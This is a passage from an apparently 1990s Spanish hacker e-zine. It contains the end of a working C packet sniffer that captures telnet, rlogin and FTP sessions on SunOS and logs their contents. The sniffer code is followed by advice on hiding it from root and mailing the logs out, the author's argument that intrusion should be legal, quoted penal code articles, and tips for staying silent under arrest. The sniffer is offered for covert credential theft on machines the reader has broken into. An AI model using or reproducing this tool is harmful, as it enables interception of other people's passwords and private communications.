  12311.    fprintf(LOG," PATH: %s(%s) =>", Symaddr(CLe->SRCip),SERVp(CLe-
  12312. >SRCport));
  12313.    fprintf(LOG," %s(%s)\n", Symaddr(CLe->DSTip),SERVp(CLe->DSTport));
  12314.    fprintf(LOG," STAT: %s, %d pkts, %d bytes [%s]\n",
  12315.                         NOWtm(),CLe->PKcnt,(CLe->Length+dl),msg);
  12316.    fprintf(LOG," DATA: ");
  12317.     { register u_int i = CLe->Length;
  12318.       register u_char *p = CLe->Data;
  12319.       PR_DATA(p,i);
  12320.       PR_DATA(d,dl);
  12321.     }
  12322.  
  12323.    fprintf(LOG,"\n-- \n");
  12324.    fflush(LOG);
  12325.  
  12326.    if(CLe->Next != NULL)
  12327.     CLe->Next->Last = CLe->Last;
  12328.    if(CLe->Last != NULL)
  12329.     CLe->Last->Next = CLe->Next;
  12330.    else
  12331.     CLroot = CLe->Next;
  12332.    free(CLe);
  12333. }
  12334.  
  12335. /* 30 mins (x 60 seconds) */
  12336. #define IDLE_TIMEOUT 1800
  12337. #define IDLE_NODE() { \
  12338.   time_t tm; \
  12339.   time(&tm); \
  12340.   if(LastTIME<tm) { \
  12341.      register struct CREC *CLe,*CLt = CLroot; \
  12342.      LastTIME=(tm+IDLE_TIMEOUT); tm-=IDLE_TIMEOUT; \
  12343.      while(CLe=CLt) { \
  12344.        CLt=CLe->Next; \
  12345.        if(CLe->Time <tm) \
  12346.            END_NODE(CLe,(u_char *)NULL,0,"IDLE TIMEOUT"); \
  12347.      } \
  12348.   } \
  12349. }
  12350.  
  12351. void filter(cp, pktlen)
  12352. register char *cp;
  12353. register u_int pktlen;
  12354. {
  12355.  register struct ip     *ip;
  12356.  register struct tcphdr *tcph;
  12357.  
  12358.  { register u_short EtherType=ntohs(((struct ether_header *)cp)->ether_type);
  12359.  
  12360.    if(EtherType < 0x600) {
  12361.      EtherType = *(u_short *)(cp + SZETH + 6);
  12362.      cp+=8; pktlen-=8;
  12363.    }
  12364.  
  12365.    if(EtherType != ETHERTYPE_IP) /* chuk it if its not IP */
  12366.       return;
  12367.  }
  12368.  
  12369.     /* ugh, gotta do an alignment :-( */
  12370.  bcopy(cp + SZETH, (char *)Packet,(int)(pktlen - SZETH));
  12371.  
  12372.  ip = (struct ip *)Packet;
  12373.  if( ip->ip_p != IPPROTO_TCP) /* chuk non tcp pkts */
  12374.     return;
  12375.  tcph = (struct tcphdr *)(Packet + IPHLEN);
  12376.  
  12377.  if(!( (TCPD == IPPORT_TELNET) ||
  12378.        (TCPD == IPPORT_LOGINSERVER) ||
  12379.        (TCPD == IPPORT_FTP)
  12380.    )) return;
  12381.  
  12382.  { register struct CREC *CLm;
  12383.    register int length = ((IPLEN - (IPHLEN * 4)) - (TCPOFF * 4));
  12384.    register u_char *p = (u_char *)Packet;
  12385.  
  12386.    p += ((IPHLEN * 4) + (TCPOFF * 4));
  12387.  
  12388.  if(debug) {
  12389.   fprintf(LOG,"PKT: (%s %04X) ", TCPflags(tcph->th_flags),length);
  12390.   fprintf(LOG,"%s[%s] => ", inet_ntoa(IPS),SERVp(TCPS));
  12391.   fprintf(LOG,"%s[%s]\n", inet_ntoa(IPD),SERVp(TCPD));
  12392.  }
  12393.  
  12394.    if( CLm = GET_NODE(IPS, TCPS, IPD, TCPD) ) {
  12395.  
  12396.       CLm->PKcnt++;
  12397.  
  12398.       if(length>0)
  12399.         if( (CLm->Length + length) < MAXBUFLEN ) {
  12400.           ADDDATA_NODE( CLm, p,length);
  12401.         } else {
  12402.           END_NODE( CLm, p,length, "DATA LIMIT");
  12403.         }
  12404.  
  12405.       if(TCPFL(TH_FIN|TH_RST)) {
  12406.           END_NODE( CLm, (u_char 
  12407. *)NULL,0,TCPFL(TH_FIN)?"TH_FIN":"TH_RST" );
  12408.       }
  12409.  
  12410.    } else {
  12411.  
  12412.       if(TCPFL(TH_SYN)) {
  12413.          ADD_NODE(IPS,IPD,TCPS,TCPD,p,length);
  12414.       }
  12415.  
  12416.    }
  12417.  
  12418.    IDLE_NODE();
  12419.  
  12420.  }
  12421.  
  12422. }
  12423.  
  12424. /* signal handler
  12425.  */
  12426. void death()
  12427. { register struct CREC *CLe;
  12428.  
  12429.     while(CLe=CLroot)
  12430.         END_NODE( CLe, (u_char *)NULL,0, "SIGNAL");
  12431.  
  12432.     fprintf(LOG,"\nLog ended at => %s\n",NOWtm());
  12433.     fflush(LOG);
  12434.     if(LOG != stdout)
  12435.         fclose(LOG);
  12436.     exit(1);
  12437. }
  12438.  
  12439. /* opens network interface, performs ioctls and reads from it,
  12440.  * passing data to filter function
  12441.  */
  12442. void do_it()
  12443. {
  12444.     int cc;
  12445.     char *buf;
  12446.     u_short sp_ts_len;
  12447.  
  12448.     if(!(buf=malloc(CHUNKSIZE)))
  12449.         Pexit(1,"Eth: malloc");
  12450.  
  12451. /* this /dev/nit initialization code pinched from etherfind */
  12452.   {
  12453.     struct strioctl si;
  12454.     struct ifreq    ifr;
  12455.     struct timeval  timeout;
  12456.     u_int  chunksize = CHUNKSIZE;
  12457.     u_long if_flags  = NI_PROMISC;
  12458.  
  12459.     if((if_fd = open(NIT_DEV, O_RDONLY)) < 0)
  12460.         Pexit(1,"Eth: nit open");
  12461.  
  12462.     if(ioctl(if_fd, I_SRDOPT, (char *)RMSGD) < 0)
  12463.         Pexit(1,"Eth: ioctl (I_SRDOPT)");
  12464.  
  12465.     si.ic_timout = INFTIM;
  12466.  
  12467.     if(ioctl(if_fd, I_PUSH, "nbuf") < 0)
  12468.         Pexit(1,"Eth: ioctl (I_PUSH \"nbuf\")");
  12469.  
  12470.     timeout.tv_sec = 1;
  12471.     timeout.tv_usec = 0;
  12472.     si.ic_cmd = NIOCSTIME;
  12473.     si.ic_len = sizeof(timeout);
  12474.     si.ic_dp  = (char *)&timeout;
  12475.     if(ioctl(if_fd, I_STR, (char *)&si) < 0)
  12476.         Pexit(1,"Eth: ioctl (I_STR: NIOCSTIME)");
  12477.  
  12478.     si.ic_cmd = NIOCSCHUNK;
  12479.     si.ic_len = sizeof(chunksize);
  12480.     si.ic_dp  = (char *)&chunksize;
  12481.     if(ioctl(if_fd, I_STR, (char *)&si) < 0)
  12482.         Pexit(1,"Eth: ioctl (I_STR: NIOCSCHUNK)");
  12483.  
  12484.     strncpy(ifr.ifr_name, device, sizeof(ifr.ifr_name));
  12485.     ifr.ifr_name[sizeof(ifr.ifr_name) - 1] = '\0';
  12486.     si.ic_cmd = NIOCBIND;
  12487.     si.ic_len = sizeof(ifr);
  12488.     si.ic_dp  = (char *)𝔦
  12489.     if(ioctl(if_fd, I_STR, (char *)&si) < 0)
  12490.         Pexit(1,"Eth: ioctl (I_STR: NIOCBIND)");
  12491.  
  12492.     si.ic_cmd = NIOCSFLAGS;
  12493.     si.ic_len = sizeof(if_flags);
  12494.     si.ic_dp  = (char *)&if_flags;
  12495.     if(ioctl(if_fd, I_STR, (char *)&si) < 0)
  12496.         Pexit(1,"Eth: ioctl (I_STR: NIOCSFLAGS)");
  12497.  
  12498.     if(ioctl(if_fd, I_FLUSH, (char *)FLUSHR) < 0)
  12499.         Pexit(1,"Eth: ioctl (I_FLUSH)");
  12500.   }
  12501.  
  12502.     while ((cc = read(if_fd, buf, CHUNKSIZE)) >= 0) {
  12503.         register char *bp = buf,
  12504.                       *bufstop = (buf + cc);
  12505.  
  12506.         while (bp < bufstop) {
  12507.             register char *cp = bp;
  12508.             register struct nit_bufhdr *hdrp;
  12509.  
  12510.             hdrp = (struct nit_bufhdr *)cp;
  12511.             cp += sizeof(struct nit_bufhdr);
  12512.             bp += hdrp->nhb_totlen;
  12513.             filter(cp, (u_long)hdrp->nhb_msglen);
  12514.         }
  12515.     }
  12516.     Pexit((-1),"Eth: read");
  12517. }
  12518.  /* Authorize your proogie,generate your own password and uncomment here */
  12519. /* #define AUTHPASSWD "EloiZgZejWyms" */
  12520.  
  12521. void getauth()
  12522. { char *buf,*getpass(),*crypt();
  12523.   char pwd[21],prmpt[81];
  12524.  
  12525.     strcpy(pwd,AUTHPASSWD);
  12526.     sprintf(prmpt,"(%s)UP? ",ProgName);
  12527.     buf=getpass(prmpt);
  12528.     if(strcmp(pwd,crypt(buf,pwd)))
  12529.         exit(1);
  12530. }
  12531.     */
  12532. void main(argc, argv)
  12533. int argc;
  12534. char **argv;
  12535. {
  12536.     char   cbuf[BUFSIZ];
  12537.     struct ifconf ifc;
  12538.     int    s,
  12539.            ac=1,
  12540.            backg=0;
  12541.  
  12542.     ProgName=argv[0];
  12543.  
  12544.  /*     getauth(); */
  12545.  
  12546.     LOG=NULL;
  12547.     device=NULL;
  12548.     while((ac<argc) && (argv[ac][0] == '-')) {
  12549.        register char ch = argv[ac++][1];
  12550.        switch(toupper(ch)) {
  12551.             case 'I': device=argv[ac++];
  12552.                       break;
  12553.             case 'F': if(!(LOG=fopen((LogName=argv[ac++]),"a")))
  12554.                          Zexit(1,"Output file cant be opened\n");
  12555.                       break;
  12556.             case 'B': backg=1;
  12557.                       break;
  12558.             case 'D': debug=1;
  12559.                       break;
  12560.             default : fprintf(ERR,
  12561.                         "Usage: %s [-b] [-d] [-i interface] [-f file]\n",
  12562.                             ProgName);
  12563.                       exit(1);
  12564.        }
  12565.     }
  12566.  
  12567.     if(!device) {
  12568.         if((s=socket(AF_INET, SOCK_DGRAM, 0)) < 0)
  12569.             Pexit(1,"Eth: socket");
  12570.  
  12571.         ifc.ifc_len = sizeof(cbuf);
  12572.         ifc.ifc_buf = cbuf;
  12573.         if(ioctl(s, SIOCGIFCONF, (char *)&ifc) < 0)
  12574.             Pexit(1,"Eth: ioctl");
  12575.  
  12576.         close(s);
  12577.         device = ifc.ifc_req->ifr_name;
  12578.     }
  12579.  
  12580.     fprintf(ERR,"Using logical device %s [%s]\n",device,NIT_DEV);
  12581.     fprintf(ERR,"Output to %s.%s%s",(LOG)?LogName:"stdout",
  12582.             (debug)?" (debug)":"",(backg)?" Backgrounding ":"\n");
  12583.  
  12584.     if(!LOG)
  12585.         LOG=stdout;
  12586.  
  12587.     signal(SIGINT, death);
  12588.     signal(SIGTERM,death);
  12589.     signal(SIGKILL,death);
  12590.     signal(SIGQUIT,death);
  12591.  
  12592.     if(backg && debug) {
  12593.          fprintf(ERR,"[Cannot bg with debug on]\n");
  12594.          backg=0;
  12595.     }
  12596.  
  12597.     if(backg) {
  12598.         register int s;
  12599.  
  12600.         if((s=fork())>0) {
  12601.            fprintf(ERR,"[pid %d]\n",s);
  12602.            exit(0);
  12603.         } else if(s<0)
  12604.            Pexit(1,"fork");
  12605.  
  12606.         if( (s=open("/dev/tty",O_RDWR))>0 ) {
  12607.                 ioctl(s,TIOCNOTTY,(char *)NULL);
  12608.                 close(s);
  12609.         }
  12610.     }
  12611.     fprintf(LOG,"\nLog started at => %s [pid %d]\n",NOWtm(),getpid());
  12612.     fflush(LOG);
  12613.  
  12614.     do_it();
  12615. }
  12616.  
  12617. ------------ FIN -------------------------------------------------------------
  12618.  
  12619.         Lo que se ha de tener en cuenta cuando instalas un sniffer en una
  12620.   maquina es que como es logico, si hay mucho trafico de paquetes en esa
  12621.   maquina y no seleccionais bien la forma de filtrar que info queda en el log
  12622.   y cual no, se pueden generar ficheros de logs grandisimos por lo que este es
  12623.   un factor muy a tener en cuenta porque a veces si te equivocas.. se crea un
  12624.   fichero grandisimo, el root se percata y a la mierda todo el trabajo :o(
  12625.  
  12626.         Dependiendo de la makina y su trafico puede ser suficiente mirar los
  12627.   logs cada semana mas o menos o cada dos. Tambien, si eres comodo puedes
  12628.   usar un cronjob que te mailee los logs, pero eso kanta mas :)
  12629.  
  12630.   11.- LEGALIDAD
  12631.  
  12632.         Para acabar el articulo, creo que debo de acabar con esto ya que
  12633.   siempre hay que recordar que todo esto es ilegal... luego no digais que no
  12634.   estais avisados aunque tambien depende de lo que hagais. En realidad, opino
  12635.   que por entrar en una maquina y hacer cuatro cosas sin hacer daño a nadie
  12636.   ni haciendoles perder datos, ni haciendolo por motivos de lucro o para
  12637.   destrozar cosas, esto no deberia ser ilegal pero en fin.. la guardia civil
  12638.   en lugar de dedicarse a perseguir a toda la mala gente que hay por ahi, se
  12639.   dedica a jodernos a nosotros.. la vida es asi :o(
  12640.  
  12641.         Sinceramente, no se si este codigo penal es el que nos interesa a
  12642.   nosotros ya que de leyes no tengo ni idea, pero lo he pillado por ahi y
  12643.   creo que es interesante que por lo menos le deis una leida:
  12644.  
  12645.         Ademas adjunto un texto como sobre comportarse si pasa algo que
  12646.   aunque esta orientado al caso de pirateria de software, creo que es
  12647.   sencilla su extrapolacion al caso que nos ocupa.
  12648.  
  12649.   NUEVO CODIGO PENAL 
  12650.  
  12651.   DELITOS RELACIONADOS CON LAS TECNOLOGIAS DE LA INFORMACION
  12652.  
  12653.   TITULO X 
  12654.  
  12655.         Delitos contra la intimidad, el derecho a la propia imagen y la
  12656.   inviolabilidad del domicilio 
  12657.  
  12658.   CAPITULO I 
  12659.  
  12660.         Del descubrimiento y revelacion de secretos 
  12661.  
  12662.   Articulo 197 
  12663.  
  12664.         1. El que para descubrir los secretos o vulnerar la intimidad de
  12665.   otro, sin su consentimiento, se apodere de sus papeles, cartas, mensajes de
  12666.   correo electronico o cualesquiera otros documentos o efectos personales o
  12667.   intercepte sus telecomunicaciones o utilice artificios tecnicos de escucha,
  12668.   transmision, grabacion o reproduccion del sonido o de la imagen, o de
  12669.   cualquier otra señal de comunicacion, sera castigado con las penas de
  12670.   prision de uno a cuatro años y multa de doce a veinticuatro meses. 
  12671.  
  12672.         2. Las mismas penas se impondran al que, sin estar autorizado, se
  12673.   apodere, utilice o modifique, en perjuicio de tercero, datos reservados de
  12674.   caracter personal o familiar de otro que se hallen registrados en ficheros
  12675.   o soportes informaticos, electronicos o telematicos, o en cualquier otro
  12676.   tipo de archivo o registro publico o privado. Iguales penas se impondran a
  12677.   quien, sin estar autorizado, acceda por cualquier medio a los mismos y a
  12678.   quien los altere o utilice en perjuicio del titular de los datos o de un
  12679.   tercero.
  12680.  
  12681.         3. Se impondra la pena de prision de dos a cinco años si se difunden,
  12682.   revelan o ceden a terceros los datos o hechos descubiertos o las imagenes
  12683.   captadas a que se refieren los numeros anteriores. Sera castigado con las
  12684.   penas de prision de uno a tres años y multa de doce a veinticuatro meses,
  12685.   el que, con conocimiento de su origen ilicito y sin haber tomado parte en
  12686.   su descubrimiento, realizare la conducta descrita en el parrafo anterior. 
  12687.  
  12688.         4. Si los hechos descritos en los apartados 1 y 2 de este articulo
  12689.   se realizan por las personas encargadas o responsables de los ficheros,
  12690.   soportes informaticos, electronicos o telematicos, archivos o registros, se
  12691.   impondra la pena de prision de tres a cinco años, y si se difunden, ceden o
  12692.   revelan los datos reservados, se impondra la pena en su mitad superior. 
  12693.  
  12694.         5. Igualmente, cuando los hechos descritos en los apartados anteriores
  12695.   afecten a datos de caracter personal que revelen la ideologia, religion,
  12696.   creencias, salud, origen racial o vida sexual, o la victima fuere un menor
  12697.   de edad o un incapaz, se impondran las penas previstas en su mitad superior. 
  12698.  
  12699.         6. Si los hechos se realizan con fines lucrativos, se impondran las
  12700.   penas respectivamente previstas en los apartados 1 al 4 de este articulo en
  12701.   su mitad superior. Si ademas afectan a datos de los mencionados en el
  12702.   apartado 5, la pena a imponer sera la de prision de cuatro a siete años. 
  12703.  
  12704.   Articulo 198 
  12705.  
  12706.         La autoridad o funcionario publico que, fuera de los casos permitidos
  12707.   por la Ley, sin mediar causa legal por delito, y prevaliendose de su cargo,
  12708.   realizare cualquiera de las conductas descritas en el articulo anterior,
  12709.   sera castigado con las penas respectivamente previstas en el mismo, en su
  12710.   mitad superior y, ademas, con la de inhabilitacion absoluta por tiempo de
  12711.   seis a doce años.  
  12712.  
  12713.   Articulo 199
  12714.  
  12715.         1. El que revelare secretos ajenos, de los que tenga conocimiento por
  12716.   razon de su oficio o sus relaciones laborales, sera castigado con la pena
  12717.   de prision de uno a tres años y multa de seis a doce meses. 
  12718.  
  12719.         2. El profesional que, con incumplimiento de su obligacion de sigilo
  12720.   o reserva, divulgue los secretos de otra persona, sera castigado con la
  12721.   pena de prision de uno a cuatro años, multa de doce a veinticuatro meses e
  12722.   inhabilitacion especial para dicha profesion por tiempo de dos a seis años. 
  12723.  
  12724.   Articulo 200 
  12725.  
  12726.         Lo dispuesto en este capitulo sera aplicable al que descubriere,
  12727.   revelare o cediere datos reservados de personas juridicas, sin el
  12728.   consentimiento de sus representantes, salvo lo dispuesto en otros preceptos
  12729.   de este codigo.
  12730.  
  12731.   Articulo 201 
  12732.  
  12733.         1. Para proceder por los delitos previstos en este capitulo sera
  12734.   necesaria denuncia de la persona agraviada o de su representante legal.
  12735.   Cuando aquella sea menor de edad, incapaz o una persona desvalida, tambien
  12736.   podra denunciar el Ministerio Fiscal.  
  12737.  
  12738.         2. No sera precisa la denuncia exigida en el apartado anterior para
  12739.   proceder por los hechos descritos en el articulo 198 de este Codigo, ni
  12740.   cuando la comision del delito afecte a los intereses generales o a una
  12741.   pluralidad de personas. 
  12742.  
  12743.         3. El perdon del ofendido o de su representante legal, en su caso,
  12744.   extingue la accion penal o la pena impuesta, sin perjuicio de lo dispuesto
  12745.   en el segundo parrafo del numero 4º del articulo 130. 
  12746.    
  12747.   Articulo 248. 
  12748.  
  12749.         1.- Cometen estafa los que, con animo de lucro, utilizaren engaño
  12750.   bastante para producir error en otro, induciendolo a realizar un acto de
  12751.   disposicion en perjuicio propio o ajeno. 
  12752.  
  12753.         2.- Tambien se consideran reos de estafa los que, con animo de lucro,
  12754.   y valiendose de alguna manipulacion informatica o artificio semejante
  12755.   consigan la transferencia no consentida de cualquier activo patrimonial en
  12756.   perjuicio de tercero.
  12757.  
  12758.   Articulo 263. 
  12759.  
  12760.         El que causare daños en propiedad ajena no comprendidos en otros
  12761.   Titulos de este Codigo, sera castigado con la pena de multa de seis a
  12762.   veinticuatro meses, atendidas la condicion economica de la victima y la
  12763.   cuantia del daño, si este excediera de cincuenta mil pesetas. 
  12764.  
  12765.   Articulo 264. 
  12766.  
  12767.         1.- Sera castigado con la pena de prision de uno a tres años y multa
  12768.   de doce a veinticuatro meses el que causare daños expresados en el articulo
  12769.   anterior, si concurriera alguno de los supuestos siguientes:
  12770.  
  12771.         1º.- Que se realicen para impedir el libre ejercicio de la autoridad
  12772.   o en venganza de sus determinaciones, bien se cometiere el delito contra 
  12773.   funcionarios publicos, bien contra particulares que, como testigos o de 
  12774.   cualquier otra manera, hayan contribuido o pueden contribuir a la ejecucion
  12775.   o aplicacion de las Leyes o disposiciones generales. 
  12776.  
  12777.     2º.-Que se cause por cualquier medio infeccion o contagio de ganado. 
  12778.  
  12779.     3º.-Que se empleen sustancias venenosas o corrosivas. 
  12780.  
  12781.     4º.- Que afecten a bienes de dominio o uso publico o comunal. 
  12782.  
  12783.     5º.- Que arruinen al perjudicado o se le coloque en grave situacion 
  12784.              economica. 
  12785.  
  12786.     2.- La misma pena se impondra al que por cualquier medio destruya, 
  12787.   altere, inutilice o de cualquier otro modo dañe los datos, programas o 
  12788.   documentos electronicos ajenos contenidos en redes, soportes o sistemas 
  12789.   informaticos. 
  12790.  
  12791.   CAPITULO XI  
  12792.  
  12793.         De los delitos relativos a la propiedad intelectual e industrial, al
  12794.   mercado y a los consumidores 
  12795.  
  12796.         Seccion 1ª.- DE LOS DELITOS RELATIVOS A LA PROPIEDAD INTELECTUAL. 
  12797.  
  12798.   Articulo 270. 
  12799.  
  12800.         Sera castigado con la pena de prision de seis meses a dos años o de 
  12801.   multa de seis a veinticuatro meses quien, con animo de lucro y en perjuicio
  12802.   de tercero, reproduzca, plagie, distribuya o comunique publicamente, en
  12803.   todo o en parte, una obra literaria, artistica o cientifica, o su
  12804.   transformacion, interpretacion o ejecucion artisitica fijada en cualquier
  12805.   tipo de soporte o comunicada a traves de cualquier medio, sin la
  12806.   autorizacion de los titulares de los correspondientes derechos de propiedad
  12807.   intelectual o de sus cesionarios. 
  12808.  
  12809.     La misma pena se impondra a quien intencionadamente importe, exporte
  12810.   o almacene ejemplares de dichas obras o producciones o ejecuciones sin la 
  12811.   referida autorizacion. 
  12812.  
  12813.     Sera castigada tambien con la misma pena la fabricacion, puesta en 
  12814.   circulacion y tenencia de cualquier medio especificamente destinada a
  12815.   facilitar la supresion no autorizada o la neutralizacion de cualquier
  12816.   dispositivo tecnico que se haya utilizado para proteger  programas de
  12817.   ordenador.
  12818.  
  12819.   Articulo 278. 
  12820.  
  12821.         1.- El que, para descubrir un secreto de empresa se apoderare por
  12822.   cualquier medio de datos, documentos escritos o electronicos, soportes
  12823.   informaticos u otros objetos que se refieran al mismo, o empleare alguno de
  12824.   los medios o instrumentos señalados en el apartado 1 del articulo 197, sera
  12825.   castigado con la pena de prision de dos a cuatro años y multa de doce a
  12826.   veinticuatro meses.
  12827.  
  12828.         2.- Se impondra la pena de prision de tres a cinco años y multa de
  12829.   doce a veinticuatro meses si se difundieren, revelaren o cedieren a
  12830.   terceros los secretos descubiertos. 
  12831.  
  12832.         3.- Lo dispuesto en el presente articulo se entendera sin perjuicio de
  12833.   las penas que pudieran corresponder por el apoderamiento o destruccion de
  12834.   los soportes informaticos. 
  12835.  
  12836.   CAPITULO III 
  12837.  
  12838.   Disposicion general 
  12839.  
  12840.   Articulo 400. 
  12841.  
  12842.         La fabricacion o tenencia de utiles, materiales , instrumentos,
  12843.   sustancias, maquinas, programas de ordenador o aparatos, especificamente
  12844.   destinados a la comision de los delitos descritos en los capitulos
  12845.   anteriores, se castigaran con la pena señalada en cada paso para los
  12846.   autores.
  12847.  
  12848.   Articulo 536. 
  12849.  
  12850.         La autoridad, funcionario publico o agente de estos que, mediando
  12851.   causa por delito, interceptare las telecomunicaciones o utilizare
  12852.   artificios tecnicos de escuhas, transmision, grabacion o reproduccion del
  12853.   sonido, de la imagen o de cualquier otra señal de comunicacion, con
  12854.   violacion de las garantias constitucionales o legales, incurrira en la pena
  12855.   de inhabilitacion especial para empleo o cargo publico de dos a seis años. 
  12856.   Si divulgare o revelare la informacion obtenida, se impondran las penas de 
  12857.   inhabilitacion especial, en su mitad superior y, ademas la de multa de seis
  12858.   a dieciocho meses.
  12859.  
  12860.         Ademas adjunto un texto de shooting que he pillado en la red y que da
  12861.   algunos consejos... aunque en principio se refiere a la venta de software
  12862.   ilegal, lo he adjuntado ya que su extrapolacion al caso que nos ocupa es
  12863.   sencilla y quiza algun dia nos haga falta :o(
  12864.  
  12865.         Establece el articulo 520 de la Ley de Enjuiciamiento Criminal. que
  12866.   toda persona detenida o presa sera informada, de modo que le sea
  12867.   comprensible, y de forma inmediata, de los hechos que se le imputan y las
  12868.   razones motivadoras de su privacion de libertad, asi como de los derechos
  12869.   que le asisten y especialmente de los siguientes: 
  12870.  
  12871.         Derecho a guardar silencio no declarando si no quiere, a no contestar
  12872.   alguna o algunas de las preguntas que le formulen, o a manifestar que solo
  12873.   declarara ante el Juez. La mejor forma de ejercitar este derecho es no
  12874.   decir nada. Asi de sencillo y aunque parezca una perogrullada, desde el
  12875.   principio, desde el mismo momento de la detencion, nada, absolutamente nada.
  12876.  
  12877.         La policia querra saber donde estan los Cds, la agenda del detenido, a
  12878.   quien le ha comprado y vendido este el material, etc. En ese momento, lo
  12879.   mejor que puede hacer el detenido es sonreir... y guardar silencio.
  12880.  
  12881.         Pese a lo que se le hace creer al ciudadano desde la escuela, el
  12882.   detenido no tiene ninguna obligacion de colaborar con la policia, y lo que
  12883.   diga solo le puede perjudicar.
  12884.  
  12885.         No esta de mas comentar en este punto que cualquier intento de
  12886.   sonsacar al detenido con cualquier tipo de coaccion, por suave que parezca,
  12887.   debe ser denunciado en la primera declaracion ante el Juez. Es muy posible
  12888.   que se informe al detenido que si declara, lo dejaran inmediatamente en
  12889.   libertad, y que si no lo hace, detendran a sus amigos o familiares, o
  12890.   avisaran a su empresa. Teniendo en cuenta que el detenido en este tipo de
  12891.   delitos suele ser joven e inexperto, este tipo de presiones son
  12892.   intolerables y deben denunciarse a la primera oportunidad. 
  12893.  
  12894.         Derecho a no declarar contra si mismo y a no confesarse culpable.
  12895.   Esta intimamente relacionado con el derecho anterior, del que trae causa.
  12896.  
  12897.         Derecho a designar Abogado y a solicitar su presencia para que asista
  12898.   a las diligencias policiales y judiciales de declaracion e intervenga en
  12899.   todo reconocimiento de identidad de que sea objeto. 
  12900.  
  12901.         Si el detenido o preso no designara Abogado, se procedera a la
  12902.   designacion de oficio. No es imprescindible avisar al abogado de confianza,
  12903.   dado que en el supuesto de no declarar, es indiferente que a dicha negativa
  12904.   asista un letrado particular, o el de oficio Lo que sucede es que en el caso
  12905.   de cambiar posteriormente de abogado, se incrementan los gastos, dado que
  12906.   se ha de abonar la minuta al primer designado. Una vez firmada la negativa
  12907.   a declarar, el detenido tiene derecho a una entrevista a solas con el
  12908.   letrado, para preparar la declaracion ante el Juez, en la que si es
  12909.   conveniente asesorarse con alguien que entienda de informatica. 
  12910.  
  12911.         Derecho a que se ponga en conocimiento del familiar o persona que
  12912.   desee, el hecho de la detencion y el lugar de custodia en que se halle en
  12913.   cada momento.
  12914.  
  12915.         Los extranjeros tendran derecho a que las circunstancias *anteriores
  12916.   se comuniquen a la Oficina Consular de su pais.
  12917.  
  12918.         Deben olvidarse las vergüenzas, ya que esta en juego algo mas
  12919.   importante que una bronca familiar. Cuanta mas gente conozca la detencion,
  12920.   mejor, asi que la familia debe avisar a todos los amigos que figuren en la
  12921.   agenda del detenido, antes de que los avise la policia. Otra razon para
  12922.   avisar a la familia es que en caso que la detencion se alargue
  12923.   innecesariamente, se puede recurrir al Habeas Corpus, una peticion ante el
  12924.   Juez de Guardia para que se ponga inmediatamente al detenido en presencia
  12925.   de la autoridad judicial, lo que a veces puede ser necesario, sobre todo si
  12926.   se  trata de jovenes de animo debil...
  12927.  
  12928.         Derecho a ser asistido gratuitamente por un interprete. 
  12929.  
  12930.         Cuando se trate de extranjero que no comprenda o no hable el
  12931.   castellano. En este punto el detenido podria ponerse a exigir hablar en el
  12932.   idioma propio, lo que es perfectamente inutil cuando no se piensa
  12933.   declarar...
  12934.  
  12935.         Derecho a ser reconocido por el Medico Forense o su sustituto legal y,
  12936.   en su defecto, por el de la Institucion en que se encuentre, o por cualquier
  12937.   otro dependiente del Estado o de otras Administraciones Publicas. 
  12938.  
  12939.         Aprovechando que no tiene nada mejor que hacer, es conveniente que el 
  12940.   detenido insista en que venga el medico. Asi, ademas de pasar mas 
  12941.   entretenidas las horas de la detencion, en el supuesto de que venga el
  12942.   medico ya hay un primer diagnostico que informa que el detenido entro sin
  12943.   lesiones en comisaria. Si dicha situacion cambia, alguien tendra que dar
  12944.   explicaciones.
  12945.  
  12946.         Una vez ha pasado el miedo de la primera fase de la detencion, se
  12947.   podra reflexionar tranquilamente sobre que declarar ante el Juez. Cada caso
  12948.   es diferente, y el mas preparado para diseñar la estrategia de ese momento
  12949.   sera el abogado que libremente escoja el detenido. En cualquier caso, no
  12950.   esta de mas recordar que para que exista delito por copia ilegal de
  12951.   software, esta debe ser con animo de lucro y en perjuicio de tercero. A
  12952.   sensu contrario, pueden deducirse de ello dos consejos, a saber: 
  12953.  
  12954.         -Nunca debe reconocerse haber cobrado o pagado por una copia
  12955.  
  12956.           -Debe proclamarse solemnemente que de no copiar el software,
  12957.   tampoco lo hubiesemos comprado, lo que descarta el perjuicio del tercero,
  12958.   que no podra en tal caso argumentar que ha perdido una venta. Ya que Bill
  12959.   Gates no es altruista, seamoslo nosotros con nuestros semejantes...
  12960.  
  12961.   12.- DESPEDIDA
  12962.  
  12963.         Bien, creo que el texto ha quedado cumplidito y que cubre los
  12964.   aspectos basicos del hacking... espero que os sirva de algo ya que me he
  12965.   tenido que pegar una curradilla para escribirlo :)
  12966.  
  12967.         Agradecimientos a Zebal (!H) por dejarme reproducir su comparativa de 
  12968.   crackeadores de passwords .. thx :)
  12969.  
  12970.         Por cierto, este texto esta en formato .txt, en formato .doc, en
  12971.   formato .html y en alguno mas :).. asi que si tienes problemas para leer el
  12972.   formato que tienes, puedes mailearme para pedirmelo en otro formato.
  12973.  
  12974.         Si kieres ponerte en contacto conmigo (Daemon) para cualquier cosa
  12975.   (dudas, sugerencias e incluso dinero XDDD) puedes escribir a:
  12976.  
  12977.         Daemond@usa.net
  12978.         Dillet@usa.net
  12979.  
  12980. <────────────────────────────────────────────────────────────────────────────>
  12981. ██████████████████████████████████████████████████████████████████████████████
  12982. <────────────────────────────────────────────────────────────────────────────>
  12983.  
  12984.                              ┌─────────────────┐
  12985.                             <  EL LECTOR OPINA  >
  12986.                              └─────────────────┘
  12987.  
  12988.         Bueno parece que esta seccion esta funcionando, pero haver si para
  12989.   el siguiente numero, sois los propios lectores que respondeis a las
  12990.   preguntas, asi sera una seccion dinamica.
  12991.  
  12992.         Queremos informaros que varios mail's en USA.NET (donde nos enviais
  12993.   vuestros mail's) se han perdido por motivos tecnicos. Por eso aquellos
  12994.   lectores que nos hayais escrito y no esten aqui puestos y ademas no hayais
  12995.   espeficicado expresanemte que no quereis salir en el ezine, nos teneis
  12996.   que volver a escribir y os contestaremos en el proximo numero :) Pero no
  12997.   os quejeis que hemos includio los mail's llegados a ultima hora a la
  12998.   redaccion ;-))
  12999.  
  13000.         Tambien deciros que no hay que ponerse nervioso, cuando nos enviais
  13001.   un mail, nosotros os enviamos otro diciendo que saldra en el siguiente
  13002.   numero o no os enviamos nada ya que tampoco podemos enviar mails a todos
  13003.   los que nos envian mail (que somos simples mortales :), o sea que
  13004.   tranquilos !!!! que somos humanos nosotros tan bien, con esto queremos
  13005.   decir que no nos atosigueis enviamo mail's preguntando cuando sale, el
  13006.   ezine sale cuando sale, okis? Bueno dicho lo que teniamos que decir, que
  13007.   comienze la seccion.
  13008.  
